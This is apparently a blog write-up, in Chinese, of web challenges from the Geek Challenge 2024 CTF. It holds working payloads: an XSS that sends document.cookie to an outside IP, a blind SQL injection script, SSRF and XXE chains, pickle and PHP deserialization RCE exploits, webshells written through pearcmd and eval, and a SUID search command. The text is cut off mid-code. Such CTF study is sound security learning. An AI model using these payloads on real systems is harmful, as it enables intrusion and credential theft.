极客大挑战2024复现

本文最后更新于 2025年1月9日 晚上

题目出的很好,抽时间终于把web差不多复现完了

web

100%的⚪

直接看源码,解base64

ez_http

2024-10-30165340

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import jwt
headers={
"alg": "none",
"typ": "JWT"
}
token_dict={
"iss": "Starven",
"aud": "Ctfer",
"iat": 1730278279,
"nbf": 1730278279,
"exp": 1730285479,
"username": "Starven",
"password": "qwert123456",
"hasFlag": True
}
jwt_token= jwt.encode(token_dict,
"",
algorithm="none",
headers=headers)
print(jwt_token)

rce_me

看了一下每年都有类似的题目,跟着看一下吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}

echo "Welcome to GeekChallenge2024!<br>";

if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";

foreach ($_GET as $key => $value) {
$$key = $value;
}

if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";

if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}

if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);




} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

第一层先进行post的传参.*是匹配任意字符,可以不用管

1
start=startnow

第二层弱比较和一个php特性

1
start=startnow&_[2024.geekchallenge.ctf=10932435112

变量覆盖可以为后续赋值

然后就是一堆简单绕过上图片

2024-11-28213315

baby_upload

0x01

考察的一个cve,可以跟着简单的复现一下

CVE-2017-15715

0x02

输入文件名的时候是,只检测了一个,算是非预期可能

1
shell.jpg.php

Problem_On_My_Web

简单的尝试一下发现是xss漏洞,无过滤

/form提交

1
<script>fetch('http://47.83.222.208:5566/1.php?a'+document.cookie)</script>

然后在/manager里面发包

pro1

得到flag

pro2

(没怎么搞懂这题的出题逻辑)

funnySQL

用bp进行简单的fuzz

funnySQL

由于是复现,可以直接看给的waf

1
2
3
if(preg_match('/and|or| |\n|--|sleep|=|ascii/i',$str)){
die('不准用!')
}

尝试用盲注进行绕过

1
payload = f"'||if(substr((SELECT/**/database()),{index},1)/**/like/**/'{char}',BENCHMARK(1000000,MD5('0ran9e')),0)%23"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import time
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import string
url = "http://80-35b2bb55-6032-451f-a56d-ef8b063dd454.challenge.ctfplus.cn//index.php?username="
DICT = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&'()*+,-./:;<=>?@[\\]^`{|}~"
dicts = string.ascii_lowercase+string.digits+"-"+"{}"

def check_char(i, j, payload):
start = time.time()
res = requests.get(url + payload)
end = time.time()
return end - start, j


def main():
flag = ""
for i in range(1, 100):
with ThreadPoolExecutor(max_workers=20) as executor:
future_to_char = {}
for j in dicts:
#payload = f"'||if((substr((SELECT/**/table_name/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'syclover'/**/limit/**/0,1),{i},1)/**/like/**/'{j}'),benchmark(10000000,sha1(1)),0)%23"
#Rea11ys3ccccccr3333t
payload = f"'||if((substr((SELECT/**/*/**/from/**/Rea11ys3ccccccr3333t),{i},1)/**/like/**/'{j}'),benchmark(10000000,sha1(1)),0)%23"

future = executor.submit(check_char, i, j, payload)
future_to_char[future] = j

for future in as_completed(future_to_char):
elapsed_time, char = future.result()
if elapsed_time > 2.5:
flag += char
print(f"Flag so far: {flag}")
break
print("Final Flag: ", flag)


if __name__ == '__main__':
main()

最后是这么写的,但是出的答案不对,了解个思路吧

ez_SSRF

扫到有www.zip文件,得到文件,简单代审一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
global $admin,$adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username."<br>".$password;
if($username===$admin && $password===$adminpass) {
return 1;
}else{
return 2;
}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
if (check($auth)===2) {
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
exit("Hacker");
}

当上方的条件到下方的时候,可以执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
if(!isset($_POST['user'])){
$user="stranger";
}else{
$user=$_POST['user'];
}

if (isset($_GET['location'])) {
$location=$_GET['location'];
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome"));

$client->calculator();

echo file_get_contents("result");
}else{
echo "Please give me a location";
}

两者配合食用

简单来谈就是上方的calculator.php可以进行rce,再利用h4d333333.php里的SoapClient进行ssrf

1
aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = "expression=system('cat /flag >flag')";
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'0ran9e^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

网上搜的脚本,cookie也要带上

ssrf

然后访问/flag就行

py_game

随便注册一个然后

py-1

得到密钥,伪造cookie

py-2

登录拿到app.pyc,在线解密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
![py-3](../../images/极客大挑战/2024/py-3.png)#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

def __init__(self, username, password):
self.username = username
self.password = password


def check(self, data):
if self.username == data['username']:
pass
return self.password == data['password']


admin = User('admin', '123456j1rrynonono')
Users = [
admin]

def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
if hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
continue
setattr(dst, k, v)



def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.username == username:
flash('用户名已存在', 'error')
return redirect(url_for('register'))

new_user = User(username, password)
Users.append(new_user)
flash('注册成功!请登录', 'success')
return redirect(url_for('login'))
return None('register.html')

register = app.route('/register', [
'GET',
'POST'], **('methods',))(register)

def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.check({
'username': username,
'password': password }):
session['username'] = username
flash('登录成功', 'success')
return redirect(url_for('dashboard'))

flash('用户名或密码错误', 'error')
return redirect(url_for('login'))
return None('login.html')

login = app.route('/login', [
'GET',
'POST'], **('methods',))(login)

def play():
if 'username' in session:
with open('/app/templates/play.html', 'r', 'utf-8', **('encoding',)) as file:
play_html = file.read()
return play_html
None('请先登录', 'error')
return redirect(url_for('login'))

play = app.route('/play', [
'GET',
'POST'], **('methods',))(play)

def admin():
if 'username' in session and session['username'] == 'admin':
return render_template('admin.html', session['username'], **('username',))
None('你没有权限访问', 'error')
return redirect(url_for('login'))

admin = app.route('/admin', [
'GET',
'POST'], **('methods',))(admin)

def downloads321():
return send_file('./source/app.pyc', True, **('as_attachment',))

downloads321 = app.route('/downloads321')(downloads321)

def index():
return render_template('index.html')

index = app.route('/')(index)

def dashboard():
if 'username' in session:
is_admin = session['username'] == 'admin'
if is_admin:
user_tag = 'Admin User'
else:
user_tag = 'Normal User'
return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
None('请先登录', 'error')
return redirect(url_for('login'))

dashboard = app.route('/dashboard')(dashboard)

def xml_parse():

try:
xml_bytes = app.config['xml_data'].encode('utf-8')
parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
tree = etree.fromstring(xml_bytes, parser, **('parser',))
result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
return Response(result_xml, 'application/xml', **('mimetype',))
except etree.XMLSyntaxError:
e = None

try:
return str(e)
e = None
del e
return None



xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]

def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False

return True


def update_route():
if 'username' in session and session['username'] == 'admin':
if request.data:

try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
data = None.loads(request.data.decode())
print(data)
if all((lambda .0: pass)(data.values())):
update(data, User)
return (jsonify({
'message': '更新成功' }), 200)
return None
except Exception:
e = None

try:
return (f'''Exception: {str(e)}''', 500)
e = None
del e
return ('No data provided', 400)
return redirect(url_for('login'))
return None



update_route = app.route('/update', [
'POST'], **('methods',))(update_route)
if __name__ == '__main__':
app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))

简单的扫视了一下,有个xml大概率是xxe,还有个python的原型链污染

python需要绕过一下check,用xml带出回显

py-3

先写个xxe注入

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
1
2
3
4
5
6
7
8
9
10
11
{
"\u005F\u005Finit__": {
"\u005F\u005Fglobals__": {
"app": {
"config": {
"xml_data": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [\n <!ENTITY xxe SYSTEM \"F\u0069\u006C\u0065:///flag\">\n]>\n<foo>&xxe;</foo>"
}
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /update HTTP/1.1
Host: 80-d326bcb7-d71b-4cb6-8a3d-f568ebd17214.challenge.ctfplus.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z3jtJw.PoigXnVwgfJoi7PvM_63zJpFum4
Content-Type: application/json
Connection: close
Content-Length: 349

{
"\u005F\u005Finit__": {
"\u005F\u005Fglobals__": {
"app": {
"config": {
"xml_data": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [\n <!ENTITY xxe SYSTEM \"F\u0069\u006C\u0065:///flag\">\n]>\n<foo>&xxe;</foo>"
}
}
}
}
}

py-4

py-5

ez_include

第一层

1
2
3
4
5
6
7
8
9
10
11

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
if(preg_match('/starven_secret.php/i', $_GET['file'])) {
require_once $_GET['file'];
}else{
echo "还想非预期?";
}
}

/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

第二层

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
$file = $_GET ["syc"];
$hint = "register_argc_argv = On";
if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
die("hint都给的这么明显了还不会做?");
}
if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
include $file;
}
}

这里考察的是pear包含,检索一下register_argc_argv = On

参考文章:

ctfshow 萌新22 (类似级客巅峰web4)_ctfshow 萌新web22-CSDN博客

Docker PHP裸文件本地包含综述 | 离别歌

1
?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST['cmd'])?>+/tmp/a.php

然后

1
2
3
?syc=/tmp/a.php

post: cmd=echo `env`;

include

hackbar传入的时候有问题所以用bp传了一下

ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}

}

if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
Class SYC
{
public $starven ="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
}

Class lover{
public $J1rry="data://text/plain,Welcome GeekChallenge 2024";
public $meimeng;


}
Class Geek{
public $GSBP;

}
$exp= new lover();
$exp->meimeng=new Geek();
$exp->meimeng->GSBP=new lover();
$exp->meimeng->GSBP->meimeng=new Geek();
$exp->meimeng->GSBP->meimeng->GSBP=new SYC();

$a=serialize($exp);
$b=str_replace("s:7:\"meimeng\";","S:7:\"\\6deimeng\";",$a);
echo urlencode($b);

直接上exp了不想说了,还有一种可以利用数组调用__call也是可以的

ez_js

根据提示bp抓包看看

ez_js

用户名是Starven(看的wp可能一开始是题目的一部分吧)

简单fuzz一下

ez_js1

给了部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const { merge } = require('./utils/common.js'); 

function handleLogin(req, res) {
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};

merge(geeker, req.body);

if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
if(geeker.hasFlag){
const filePath = path.join(__dirname, 'static', 'direct.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}else{
const filePath = path.join(__dirname, 'static', 'error.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}else{
const filePath = path.join(__dirname, 'static', 'error2.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}</h1>

<h1>function merge(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}

module.exports = { merge };

可以进行链污染

1
{"username":"Starven","password":"123456","__proto__":{"hasFlag":true}}

然后有个2c|8c的绕过,这里我感觉由于是黑盒可能写题会麻烦一点

1
?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}

得到flag

ez_python

正常注册一个,然后登进去跟着hint走会下载一个app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']

if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')

if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']

try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"

return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

定位一下关键代码

ez_python

所以前端在这就是反序列化

ez_python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64
import pickle
import os

class Exploit:
def __reduce__(self):
attack_code = (
"url_for.__globals__['__builtins__']['eval']("
"'app.add_url_rule(/shell, shell, lambda :__import__(os).popen(_request_ctx_stack.top.request.args.get(cmd, whoami)).read())',"
"{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],"
"'app':url_for.__globals__['current_app']})"
)
# 执行构造的攻击代码,调用 os.system
return (os.system, ('echo ' + attack_code,))

exploit = Exploit()
malicious_pickle = pickle.dumps(exploit)

print(base64.b64encode(malicious_pickle))

先随便写了一个,有waf,黑的,慢慢测吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64
import pickle
import os

class A:
def __reduce__(self):
return (exec, (
"global exc_class; global code; "
"exc_class, code = app._get_exc_class_and_code(404); "
"app.error_handler_spec[None][code][exc_class] = "
"lambda a: __import__('os').popen(request.args.get('orange')).read()",
))
a = A()
b = pickle.dumps(a)
encoded_b = base64.b64encode(b)
print(encoded_b)

1
gASV4gAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIzGZ2xvYmFsIGV4Y19jbGFzczsgZ2xvYmFsIGNvZGU7IGV4Y19jbGFzcywgY29kZSA9IGFwcC5fZ2V0X2V4Y19jbGFzc19hbmRfY29kZSg0MDQpOyBhcHAuZXJyb3JfaGFuZGxlcl9zcGVjW05vbmVdW2NvZGVdW2V4Y19jbGFzc10gPSBsYW1iZGEgYTogX19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdvcmFuZ2UnKSkucmVhZCgplIWUUpQu

ez_python

非预期

官p给了非预期,写static静态目录直接拿flag

SecretInDrivingSchool

先看源码,有个hint是L000G1n.php是后台的登录页面

再看还有个hint,密码格式为三位字母+@chengxing

爆破一下

school

SYC

进去可以写马,简单的waf

1
assert($_REQUEST[a]);

然后页面phpinfo就行

assert的传马和eval不太一样,所以yijian可能连不起来

school

Can_you_Pass_me

fenjing直接梭

pass_me

1
提交表单完成,返回值为200,输入为{'name': '{%print ((((joiner|attr(\'_\'\'_init__\')|attr(\'_\'\'_globals__\')|attr(\'__g\'\'etitem__\'))(\'_\'\'_builtins__\')).__import__("o""s")|attr(\'p\'\'open\'))("\\x74\\x61\\x63\\x20\\x2f\\x70\\x72\\x6f\\x63\\x2f\\x31\\x2f\\x65\\x6e\\x76\\x69\\x72\\x6f\\x6e")|attr(\'r\'\'ead\'))()%}'},表单为{'action': '/submit', 'method': 'POST', 'inputs': {'name'}}

PHP不比Java差

版本先切换到7.4及以上的版本(我在本地打断点一开始没测成功)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}

class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

}
}

unserialize($_POST['data']);

去读了一下官方文档,存在unserialize()优先进入__unserialize,然后链子走Challenge::Sink,再通过echo走到Syclover::__toString

官方文档有一句serialize()方法的

1
存在,该方法将在任何序列化之前优先执行,它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误。

此处为关联性的数组,可以利用$FUNC()创建的为索引性数组

php

需要将关联形数组转变为索引数组,此处采用 array_values 取关联形数组的值转变为索引数组

第一步过后进入到Challenge类,需要判断是否存在文件,可以赋值secret.php看看内容

php

提示在/flag里,看file_exist定义可以了解可以new的,接下来看

php

这里利用的是 ReflectionFunction 反射调用,自己了解,先是这么写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class Challenge{
public $file;
}
class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];//传入array_values用于数组的转化
$FUNC=$change($data);//array_values($data)
$FUNC();
}
}
class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
}
$exp=new Geek();
$exp->a=new Challenge();
$exp->b='sink';
$exp->a->file=new Syclover();
$exp->a->file->Where='ReflectionFunction';
$exp->a->file->IS='system';
$exp->a->file->Starven='invoke';
$exp->a->file->Girlfriend="cat /hint.txt";

echo urlencode(serialize($exp));

不能直接得到flag

随后find查找指令进行suid提权

1
find / -user root -perm -4000 -print 2>/dev/null

可以使用file进行报错读取

最后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class Challenge{
public $file;
}
class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];//传入array_values用于数组的转化
$FUNC=$change($data);//array_values($data)
$FUNC();
}
}
class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
}
$exp=new Geek();
$exp->a=new Challenge();
$exp->b='sink';
$exp->a->file=new Syclover();
$exp->a->file->Where='ReflectionFunction';
$exp->a->file->IS='system';
$exp->a->file->Starven='invoke';
#$exp->a->file->Girlfriend="find / -user root -perm -4000 -print 2>/dev/null";
$exp->a->file->Girlfriend="file -f /flag";

echo urlencode(serialize($exp));

not_just_pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}

}

class Parar{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}

class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}

}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}

简单的代码审计一下内容,有两个危险函数evalfile_get_content,应该是走的eval那条路(我正常是逆推链子)

1
lhRaMK7::__destruct--->Parar::__set--->Starven::__toString--->Parar::__get()--->SYC::__isset--->Starven::__call-->lhRaMK7::__invoke
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;

}

class Parar{
private $execurise="man!";
public $lead;
public $hansome;

}

class Starven{
public $girl;
public $friend;

}
class SYC{
private $lover;
public $forever;

}

$exp=new lhRaMK7;
$exp->You=new Parar();
$exp->You->lead=new Starven();
$exp->You->lead->girl=new Parar();
$exp->You->lead->girl->hansome=new SYC;
$exp->You->lead->girl->hansome->forever=new Starven();
$exp->You->lead->girl->hansome->forever->friend=new lhRaMK7();
#$exp->You->lead->girl->hansome->forever->friend->love="echo('666');";
#$exp->You->lead->girl->hansome->forever->friend->love='echo "PD9waHAgZXZhbCgkX1BPU1Rbb3JhbmdlXSk7Pz4=" | base64 -d >1.php';
$exp->You->lead->girl->hansome->forever->friend->love='@eval("$_POST[cmd];");';

$orange =array(0=>$exp,1=>null);
#echo serialize($orange);
$a=str_replace('i:1;N;}',"i:0;N;}",$orange);
echo base64_encode(serialize($a));

just

传入马后利用蚁剑插件进行绕过,得到flag

just1

noSandbox

没了解过vm跟着wp学一遍

1
2
题目描述:
李华开发了一套Nodejs在线运行代码平台,为了不被黑客攻击,他做了一个自认为完美的WAF防御,所以他直接公开在了网上,听说技术栈好像用了什么芒果db

提示了是用的mangodb的数据库

sand

nodejs的mongodb注入参考先知的文章

Nosql 注入从零到一 - 先知社区

直接用给的poc就可以了

sand

这里给了vm的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//泄露的代码执行和WAF部分代码,不能直接运行

const vm = require('vm');

function waf(code,res) {
